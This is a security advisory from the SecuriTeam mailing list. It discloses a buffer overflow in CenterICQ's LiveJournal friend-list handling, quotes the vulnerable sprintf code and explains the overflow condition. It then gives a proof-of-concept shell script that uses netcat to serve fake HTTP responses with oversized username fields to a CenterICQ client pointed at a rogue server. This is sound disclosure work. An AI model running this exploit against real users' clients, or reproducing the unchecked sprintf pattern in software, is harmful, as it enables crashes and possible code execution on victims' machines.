The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
CenterICQ Buffer Overflow In LiveJournal Handling
------------------------------------------------------------------------
SUMMARY
" <http://konst.org.ua/en/centericq/> CenterICQ contains support for
LiveJournal (http://www.livejournal.com/), such as posting to your own
blog, reading other blogs' RSS feeds, and other community-related
functions, such as showing whether a user has added or removed your own
users to/from the friend list, all via a unified HTTP interface provided
by LiveJournal.
The HTTP interface is vulnerable to a buffer overflow and possible remote
code execution.
DETAILS
Vulnerable Systems:
* CenterICQ versions 4.9.11 - 4.21.0
Vulnerable code:
$SOURCE/src/hooks/ljhook.cc:
char buf[512];
...
if(find(friendof.begin(), friendof.end(), in->first) ==
friendof.end()) {
friendof.push_back(in->first);
if(!foempty) {
bd = (string) "http://"; + conf.getourid(proto).server +
"/users/" + in->first;
sprintf(buf, _("The user %s (%s) has added you to his/her
friend list\n\nJournal address: %s"),
in->first.c_str(), in->second.c_str(), bd.c_str());
em.store(imnotification(self, buf));
}
}
...
CenterICQ regularly checks the server for the friends list (#define
PERIOD_FRIENDS 3600, which means that the check is done every 3600
seconds).
If a user is in the friend list of at least one user, and another user
adds the user to his friend list, foempty gets true, and the sprintf is
called, leading to a buffer overflow in buf. The length of the username
(in->first) or the realname (in->second) are totally unchecked.
This means that this will overflow if: 2*length(username) +
length(realname) + length(string literals) >= sizeof(buf)
The only reason why this is not exploitable with the official LiveJournal
servers is because LiveJournal has a length restriction on both the
username (15 characters) and the real name (50 characters). But since the
server that is used for communication is configurable within CenterICQ,
and since LiveJournal provides its backend under the GPL, the risk for
buffer overflow and exploitation does exist.
Proof of Concept Exploit:
add the following to your ~/.centericq/conf
lj_nick randomname
lj_pass randompass
lj_server localhost:8000
lj_status o
lj_importfriends 1
Start the following shell script, then CenterICQ and be patient because of
PERIOD_FRIENDS (3600 seconds, 1 hour) time (or make it 10 or whatever in
the code and recompile).
The following shell script is a very simple proof-of-concept demonstration
of the buffer overflow:
--- SNIP ---
#!/bin/sh
cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF
cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF
cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
friend_1_bg
#ffffff
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ffffff
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ffffff
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ffffff
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ffffff
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ffffff
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
#ffffff
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_3_user
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_count
3
success
OK
__EOF
netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt
--- SNIP ---
ADDITIONAL INFORMATION
The information has been provided by <mailto:roflek1337@gmail.com> Roflek
of TK53.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
